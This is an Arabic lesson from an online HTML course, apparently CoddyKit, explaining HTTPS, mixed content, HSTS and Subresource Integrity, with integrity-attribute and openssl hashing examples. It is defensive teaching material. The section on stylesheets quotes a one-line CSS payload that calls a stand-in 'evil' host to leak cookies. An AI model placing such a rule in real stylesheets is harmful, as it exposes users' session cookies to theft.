HTTPS وسلامة الموارد الفرعية
التحقق من سلامة الموارد الخارجية باستخدام السمة integrity
HTTPS وسلامة الموارد الفرعية درس مجاني في HTML Academy على CoddyKit. هذا هو الدرس 4 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في HTML Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة HTML Academy 4 دروس في المجموع.
لماذا نستخدم HTTPS في كل مكان
يشفّر HTTPS البيانات أثناء النقل ويتحقق من هوية الخادم. من دون HTTPS، يستطيع المهاجمون الموجودون على الشبكة نفسها، مثل شبكة Wi-Fi في مقهى أو مزود خدمة الإنترنت أو جهة حكومية، قراءة كل بايت وحقن محتوى خبيث في الاستجابات. تعرض المتصفحات الحديثة صفحات HTTP على أنها "غير آمنة"، وترفض العديد من واجهات API، مثل الكاميرا وتحديد الموقع الجغرافي وservice workers، العمل عبر HTTP.
المحتوى المختلط
يُعد تحميل موارد HTTP من صفحة HTTPS محتوى مختلطًا. يحظر المتصفح المحتوى المختلط النشط، مثل البرامج النصية وإطارات iframe وأوراق الأنماط، حظرًا تامًا، ويصدر تحذيرًا بشأن المحتوى المختلط السلبي، مثل الصور. حمّل كل مورد دائمًا عبر HTTPS؛ واستخدم عناوين URL النسبية إلى البروتوكول مثل //cdn.example.com أو عناوين https:// المطلقة.
HSTS
تُخبر ميزة أمان النقل الصارم عبر HTTP، من خلال رأس الاستجابة Strict-Transport-Security، المتصفحات برفض اتصالات HTTP المستقبلية بنطاقك. بعد تخزين HSTS مؤقتًا، لا يستطيع المهاجم خفض اتصال المستخدم إلى HTTP حتى مع وجوده في موقع الوسيط بين الطرفين.
لماذا نستخدم SRI؟
يُعد تحميل البرامج النصية من شبكات CDN التابعة لجهات خارجية أمرًا مريحًا لكنه محفوف بالمخاطر — فإذا اختُرقت شبكة CDN، يستطيع المهاجم استبدال البرنامج النصي ببرمجية خبيثة. تجعل سلامة الموارد الفرعية (SRI) المتصفح يتحقق من التجزئة التشفيرية للملف قبل تنفيذه، ويرفض تشغيله إذا لم تتطابق التجزئة.
سمة integrity
أضف تجزئة SHA-256/384/512 بترميز base64 إلى وسم script: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. يحسب المتصفح تجزئة الملف الذي نزّله ويرفض تشغيله إذا لم تتطابق.
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
crossorigin="anonymous">إنشاء التجزئات
أنشئ التجزئة باستخدام openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. أو استخدم إضافة لأداة بناء تُصدر سمة integrity تلقائيًا. تعرض معظم شبكات CDN، مثل jsdelivr وunpkg، وسم SRI في مقتطفها الجاهز للنسخ واللصق.
ضرورة crossorigin
يتطلب SRI أن تسمح الاستجابة من مصدر مختلف بإجراء فحص integrity عبر CORS. أضف crossorigin="anonymous" إلى الوسم، وتأكد من أن شبكة CDN ترسل Access-Control-Allow-Origin. من دون ذلك، يرفض المتصفح التحقق ويفشل تحميل المورد.
تجزئات متعددة
يمكن أن تحمل سمة integrity تجزئات متعددة تفصل بينها مسافات. ويفيد ذلك أثناء الانتقال بين الإصدارات: أدرج تجزئتي الإصدارين القديم والجديد، وسيقبل المتصفح أيًا منهما وفقًا للإصدار الذي تقدمه شبكة CDN. تجنب استخدام أكثر من تجزئتين للحفاظ على سهولة قراءة السمة.
SRI لأوراق الأنماط
يحمي SRI أيضًا <link rel="stylesheet">. يكون ملف CSS المخترق أقل خطورة مباشرةً من البرنامج النصي المخترق، لكن background: url("//evil/log?cookie=...") قد يظل قادرًا على تسريب البيانات. طبّق SRI على كل أصل خارجي حيثما أمكن.
الاستضافة الذاتية غالبًا أفضل
يخفف SRI من خطر اختراق شبكة CDN، لكنه لا يحل كل مشكلة: إذ يؤدي تغيير التجزئة على شبكة CDN إلى تعطيل صفحتك حتى تحدّث سمة integrity. بالنسبة إلى المكتبات المهمة، استضف الملف الذي راجعته بنفسك — وبذلك تلغي تثبيت SRI ومخاطر سلسلة التوريد بخطوة واحدة.
الأداء
يضيف SRI عملية حساب تجزئة لكل مورد — وهي تكلفة ضئيلة على الأجهزة الحديثة، بضع ميكروثوانٍ لكل كيلوبايت. وتتجاوز الحماية التي يوفرها ضد هجمات سلسلة التوريد هذه التكلفة بكثير. لا يوجد سبب متعلق بالأداء لتجاوز SRI عند التحميل من شبكة CDN.
القيود
يتحقق SRI من بايتات محددة — لكنه لا يحمي من تقديم شبكة CDN ملفًا مختلفًا لبعض المستخدمين، أي الاستهداف الانتقائي. ولتحقيق أقصى ضمان، ادمج SRI مع HTTPS وHSTS وCSP والاستضافة الذاتية لأهم الأصول.
اختبار المعرفة
ممّ تحمي سمة integrity في وسم script؟
الملخص
يشفّر HTTPS البيانات ويتحقق من هوية الخادم، ويمنع HSTS هجمات خفض مستوى الأمان، ويتحقق SRI من عدم العبث بملفات الجهات الخارجية. أضف تجزئات integrity، مع crossorigin="anonymous"، إلى كل برنامج نصي وورقة أنماط خارجية من شبكة CDN لا تتحكم فيها. وبالنسبة إلى الأصول الأهم، استخدم الاستضافة الذاتية بدلًا من ذلك — للقضاء على خطر سلسلة التوريد بالكامل.
الأسئلة الشائعة
هل درس «HTTPS وسلامة الموارد الفرعية» مجاني؟
نعم — نص درس «HTTPS وسلامة الموارد الفرعية» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة HTML Academy، انتقل إلى CoddyKit PRO. تتضمن دورة HTML Academy 4 دروس في المجموع.
ماذا ستتعلم في «HTTPS وسلامة الموارد الفرعية»؟
التحقق من سلامة الموارد الخارجية باستخدام السمة integrity تتمرن على HTML Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.
هل أحتاج إلى خبرة سابقة لأبدأ HTML Academy؟
لا تُشترط خبرة سابقة. HTML Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 4 من أصل 4.
كم من الوقت يستغرق درس «HTTPS وسلامة الموارد الفرعية»؟
معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.
هل يمكنني كتابة وتشغيل أكواد في درس HTML Academy هذا؟
نعم. كل درس في HTML Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.
جميع الدروس في هذه الدورة
- Content Security Policy وmeta http-equiv
- XSS عبر innerHTML وكيفية منعه
- وضع الحماية لإطارات iframe وسياسة الأذونات
- HTTPS وسلامة الموارد الفرعية